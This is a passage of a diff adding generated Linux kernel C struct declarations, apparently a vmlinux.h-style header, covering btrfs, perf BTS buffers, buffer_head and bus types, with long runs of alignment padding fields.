bool skip_qgroup; + u64 bytenr; + u64 num_bytes; + u64 owning_root; + u64 ref_root; + u64 parent; + union { + struct btrfs_data_ref data_ref; + struct btrfs_tree_ref tree_ref; + }; +}; + +struct btrfs_rename_ctx { + u64 index; +}; + +struct btrfs_replace_extent_info { + u64 disk_offset; + u64 disk_len; + u64 data_offset; + u64 data_len; + u64 file_offset; + char *extent_buf; + bool is_new_extent; + bool update_times; + int qgroup_reserved; + int insertions; +}; + +struct btrfs_root_item { + struct btrfs_inode_item inode; + __le64 generation; + __le64 root_dirid; + __le64 bytenr; + __le64 byte_limit; + __le64 bytes_used; + __le64 last_snapshot; + __le64 flags; + __le32 refs; + struct btrfs_disk_key drop_progress; + __u8 drop_level; + __u8 level; + __le64 generation_v2; + __u8 uuid[16]; + __u8 parent_uuid[16]; + __u8 received_uuid[16]; + __le64 ctransid; + __le64 otransid; + __le64 stransid; + __le64 rtransid; + struct btrfs_timespec ctime; + struct btrfs_timespec otime; + struct btrfs_timespec stime; + struct btrfs_timespec rtime; + __le64 reserved[8]; +} __attribute__((packed)); + +struct btrfs_root { + struct rb_node rb_node; + struct extent_buffer *node; + struct extent_buffer *commit_root; + struct btrfs_root *log_root; + struct btrfs_root *reloc_root; + unsigned long state; + struct btrfs_root_item root_item; + struct btrfs_key root_key; + struct btrfs_fs_info *fs_info; + struct extent_io_tree dirty_log_pages; + struct mutex objectid_mutex; + spinlock_t accounting_lock; + struct btrfs_block_rsv *block_rsv; + struct mutex log_mutex; + wait_queue_head_t log_writer_wait; + wait_queue_head_t log_commit_wait[2]; + struct list_head log_ctxs[2]; + atomic_t log_writers; + atomic_t log_commit[2]; + atomic_t log_batch; + int log_transid; + int log_transid_committed; + int last_log_commit; + pid_t log_start_pid; + u64 last_trans; + u64 free_objectid; + struct btrfs_key defrag_progress; + struct btrfs_key defrag_max; + struct list_head dirty_list; + struct list_head root_list; + struct xarray inodes; + struct xarray delayed_nodes; + dev_t anon_dev; + spinlock_t root_item_lock; + refcount_t refs; + struct mutex delalloc_mutex; + spinlock_t delalloc_lock; + struct list_head delalloc_inodes; + struct list_head delalloc_root; + u64 nr_delalloc_inodes; + struct mutex ordered_extent_mutex; + spinlock_t ordered_extent_lock; + struct list_head ordered_extents; + struct list_head ordered_root; + u64 nr_ordered_extents; + struct list_head reloc_dirty_list; + int send_in_progress; + int dedupe_in_progress; + struct btrfs_drew_lock snapshot_lock; + atomic_t snapshot_force_cow; + spinlock_t qgroup_meta_rsv_lock; + u64 qgroup_meta_rsv_pertrans; + u64 qgroup_meta_rsv_prealloc; + wait_queue_head_t qgroup_flush_wait; + atomic_t nr_swapfiles; + struct btrfs_qgroup_swapped_blocks swapped_blocks; + struct extent_io_tree log_csum_range; + u64 relocation_src_root; +}; + +struct btrfs_root_backup { + __le64 tree_root; + __le64 tree_root_gen; + __le64 chunk_root; + __le64 chunk_root_gen; + __le64 extent_root; + __le64 extent_root_gen; + __le64 fs_root; + __le64 fs_root_gen; + __le64 dev_root; + __le64 dev_root_gen; + __le64 csum_root; + __le64 csum_root_gen; + __le64 total_bytes; + __le64 bytes_used; + __le64 num_devices; + __le64 unused_64[4]; + __u8 tree_root_level; + __u8 chunk_root_level; + __u8 extent_root_level; + __u8 fs_root_level; + __u8 dev_root_level; + __u8 csum_root_level; + __u8 unused_8[10]; +}; + +struct btrfs_root_ref { + __le64 dirid; + __le64 sequence; + __le16 name_len; +} __attribute__((packed)); + +struct btrfs_seq_list { + struct list_head list; + u64 seq; +}; + +struct btrfs_shared_data_ref { + __le32 count; +}; + +struct btrfs_space_info { + struct btrfs_fs_info *fs_info; + spinlock_t lock; + u64 total_bytes; + u64 bytes_used; + u64 bytes_pinned; + u64 bytes_reserved; + u64 bytes_may_use; + u64 bytes_readonly; + u64 bytes_zone_unusable; + u64 max_extent_size; + u64 chunk_size; + int bg_reclaim_threshold; + int clamp; + unsigned int full: 1; + unsigned int chunk_alloc: 1; + unsigned int flush: 1; + unsigned int force_alloc; + u64 disk_used; + u64 disk_total; + u64 flags; + struct list_head list; + struct list_head ro_bgs; + struct list_head priority_tickets; + struct list_head tickets; + u64 reclaim_size; + u64 tickets_id; + struct rw_semaphore groups_sem; + struct list_head block_groups[9]; + struct kobject kobj; + struct kobject *block_group_kobjs[9]; + u64 reclaim_count; + u64 reclaim_bytes; + u64 reclaim_errors; + bool dynamic_reclaim; + bool periodic_reclaim; + bool periodic_reclaim_ready; + s64 reclaimable_bytes; +}; + +struct btrfs_squota_delta { + u64 root; + u64 num_bytes; + u64 generation; + bool is_inc; + bool is_data; +}; + +struct btrfs_stream_header { + char magic[13]; + __le32 version; +} __attribute__((packed)); + +struct btrfs_stripe_extent { + struct { + struct {} __empty_strides; + struct btrfs_raid_stride strides[0]; + }; +}; + +struct btrfs_stripe_hash { + struct list_head hash_list; + spinlock_t lock; +}; + +struct btrfs_stripe_hash_table { + struct list_head stripe_cache; + spinlock_t cache_lock; + int cache_size; + struct btrfs_stripe_hash table[0]; +}; + +struct btrfs_subpage { + spinlock_t lock; + atomic_t readers; + union { + atomic_t eb_refs; + atomic_t writers; + }; + unsigned long bitmaps[0]; +}; + +struct btrfs_super_block { + __u8 csum[32]; + __u8 fsid[16]; + __le64 bytenr; + __le64 flags; + __le64 magic; + __le64 generation; + __le64 root; + __le64 chunk_root; + __le64 log_root; + __le64 __unused_log_root_transid; + __le64 total_bytes; + __le64 bytes_used; + __le64 root_dir_objectid; + __le64 num_devices; + __le32 sectorsize; + __le32 nodesize; + __le32 __unused_leafsize; + __le32 stripesize; + __le32 sys_chunk_array_size; + __le64 chunk_root_generation; + __le64 compat_flags; + __le64 compat_ro_flags; + __le64 incompat_flags; + __le16 csum_type; + __u8 root_level; + __u8 chunk_root_level; + __u8 log_root_level; + struct btrfs_dev_item dev_item; + char label[256]; + __le64 cache_generation; + __le64 uuid_tree_generation; + __u8 metadata_uuid[16]; + __u64 nr_global_roots; + __le64 reserved[27]; + __u8 sys_chunk_array[2048]; + struct btrfs_root_backup super_roots[4]; + __u8 padding[565]; +} __attribute__((packed)); + +struct btrfs_swap_info { + u64 start; + u64 block_start; + u64 block_len; + u64 lowest_ppage; + u64 highest_ppage; + unsigned long nr_pages; + int nr_extents; +}; + +struct btrfs_swapfile_pin { + struct rb_node node; + void *ptr; + struct inode *inode; + bool is_block_group; + int bg_extent_count; +}; + +struct btrfs_tlv_header { + __le16 tlv_type; + __le16 tlv_len; +}; + +struct btrfs_trans_handle { + u64 transid; + u64 bytes_reserved; + u64 delayed_refs_bytes_reserved; + u64 chunk_bytes_reserved; + unsigned long delayed_ref_updates; + unsigned long delayed_ref_csum_deletions; + struct btrfs_transaction *transaction; + struct btrfs_block_rsv *block_rsv; + struct btrfs_block_rsv *orig_rsv; + struct btrfs_pending_snapshot *pending_snapshot; + refcount_t use_count; + unsigned int type; + short aborted; + bool adding_csums; + bool allocating_chunk; + bool removing_chunk; + bool reloc_reserved; + bool in_fsync; + struct btrfs_fs_info *fs_info; + struct list_head new_bgs; + struct btrfs_block_rsv delayed_rsv; +}; + +struct btrfs_transaction { + u64 transid; + atomic_t num_extwriters; + atomic_t num_writers; + refcount_t use_count; + unsigned long flags; + enum btrfs_trans_state state; + int aborted; + struct list_head list; + struct extent_io_tree dirty_pages; + time64_t start_time; + wait_queue_head_t writer_wait; + wait_queue_head_t commit_wait; + struct list_head pending_snapshots; + struct list_head dev_update_list; + struct list_head switch_commits; + struct list_head dirty_bgs; + struct list_head io_bgs; + struct list_head dropped_roots; + struct extent_io_tree pinned_extents; + struct mutex cache_write_mutex; + spinlock_t dirty_bgs_lock; + struct list_head deleted_bgs; + spinlock_t dropped_roots_lock; + struct btrfs_delayed_ref_root delayed_refs; + struct btrfs_fs_info *fs_info; + atomic_t pending_ordered; + wait_queue_head_t pending_wait; +}; + +struct btrfs_tree_block_info { + struct btrfs_disk_key key; + __u8 level; +}; + +struct btrfs_trim_range { + u64 start; + u64 bytes; + struct list_head list; +}; + +struct btrfs_truncate_control { + struct btrfs_inode *inode; + u64 new_size; + u64 extents_found; + u64 last_size; + u64 sub_bytes; + u64 ino; + u32 min_type; + bool skip_ref_updates; + bool clear_extent_range; +}; + +struct btrfs_workqueue { + struct workqueue_struct *normal_wq; + struct btrfs_fs_info *fs_info; + struct list_head ordered_list; + spinlock_t list_lock; + atomic_t pending; + int limit_active; + int current_active; + int thresh; + unsigned int count; + spinlock_t thres_lock; +}; + +struct btrfs_writepage_fixup { + struct folio *folio; + struct btrfs_inode *inode; + struct btrfs_work work; +}; + +struct btrfs_zoned_device_info { + u64 zone_size; + u8 zone_size_shift; + u32 nr_zones; + unsigned int max_active_zones; + int reserved_active_zones; + atomic_t active_zones_left; + unsigned long *seq_zones; + unsigned long *empty_zones; + unsigned long *active_zones; + struct blk_zone *zone_cache; + struct blk_zone sb_zones[6]; +}; + +struct bts_phys { + struct page *page; + unsigned long size; + unsigned long offset; + unsigned long displacement; +}; + +struct bts_buffer { + size_t real_size; + unsigned int nr_pages; + unsigned int nr_bufs; + unsigned int cur_buf; + bool snapshot; + local_t data_size; + local_t head; + unsigned long end; + void **data_pages; + struct bts_phys buf[0]; +}; + +struct perf_buffer; + +struct perf_output_handle { + struct perf_event *event; + struct perf_buffer *rb; + unsigned long wakeup; + unsigned long size; + u64 aux_flags; + union { + void *addr; + unsigned long head; + }; + int page; +}; + +struct debug_store { + u64 bts_buffer_base; + u64 bts_index; + u64 bts_absolute_maximum; + u64 bts_interrupt_threshold; + u64 pebs_buffer_base; + u64 pebs_index; + u64 pebs_absolute_maximum; + u64 pebs_interrupt_threshold; + u64 pebs_event_reset[48]; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; +}; + +struct bts_ctx { + struct perf_output_handle handle; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + struct debug_store ds_back; + int state; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; +}; + +struct bts_record { + u64 from; + u64 to; + u64 flags; +}; + +struct hlist_nulls_head { + struct hlist_nulls_node *first; +}; + +struct bucket { + struct hlist_nulls_head head; + raw_spinlock_t raw_lock; +}; + +struct bucket_item { + u32 count; +}; + +struct rhash_lock_head; + +struct bucket_table { + unsigned int size; + unsigned int nest; + u32 hash_rnd; + struct list_head walkers; + struct callback_head rcu; + struct bucket_table __attribute__((btf_type_tag("rcu"))) *future_tbl; + struct lockdep_map dep_map; + long: 64; + long: 64; + long: 64; + long: 64; + struct rhash_lock_head __attribute__((btf_type_tag("rcu"))) *buckets[0]; +}; + +struct buf_sel_arg { + struct iovec *iovs; + size_t out_len; + size_t max_len; + unsigned short nr_iovs; + unsigned short mode; +}; + +struct buffer_data_page { + u64 time_stamp; + local_t commit; + unsigned char data[0]; +}; + +struct buffer_data_read_page { + unsigned int order; + struct buffer_data_page *data; +}; + +typedef void bh_end_io_t(struct buffer_head *, int); + +struct buffer_head { + unsigned long b_state; + struct buffer_head *b_this_page; + union { + struct page *b_page; + struct folio *b_folio; + }; + sector_t b_blocknr; + size_t b_size; + char *b_data; + struct block_device *b_bdev; + bh_end_io_t *b_end_io; + void *b_private; + struct list_head b_assoc_buffers; + struct address_space *b_assoc_map; + atomic_t b_count; + spinlock_t b_uptodate_lock; +}; + +struct buffer_page { + struct list_head list; + local_t write; + unsigned int read; + local_t entries; + unsigned long real_end; + unsigned int order; + u32 id: 30; + u32 range: 1; + struct buffer_data_page *page; +}; + +struct buffer_ref { + struct trace_buffer *buffer; + void *page; + int cpu; + refcount_t refcount; +}; + +struct bug_entry { + int bug_addr_disp; + int file_disp; + unsigned short line; + unsigned short flags; +}; + +struct builtin_fw { + char *name; + void *data; + unsigned long size; +}; + +struct bulk_cb_wrap { + __le32 Signature; + __u32 Tag; + __le32 DataTransferLength; + __u8 Flags; + __u8 Lun; + __u8 Length; + __u8 CDB[16]; +}; + +struct bulk_cs_wrap { + __le32 Signature; + __u32 Tag; + __le32 Residue; + __u8 Status; +}; + +struct bus_attribute { + struct attribute attr; + ssize_t (*show)(const struct bus_type *, char *); + ssize_t (*store)(const struct bus_type *, const char *, size_t); +}; + +struct bus_dma_region { + phys_addr_t cpu_start; + dma_addr_t dma_start; + u64 size; +}; + +struct bus_type { + const char *name; + const char *dev_name; + const struct attribute_group **bus_groups; + const struct attribute_group **dev_groups; + const struct attribute_group **drv_groups; + int (*match)(struct device *, const struct device_driver *); + int (*uevent)(const struct 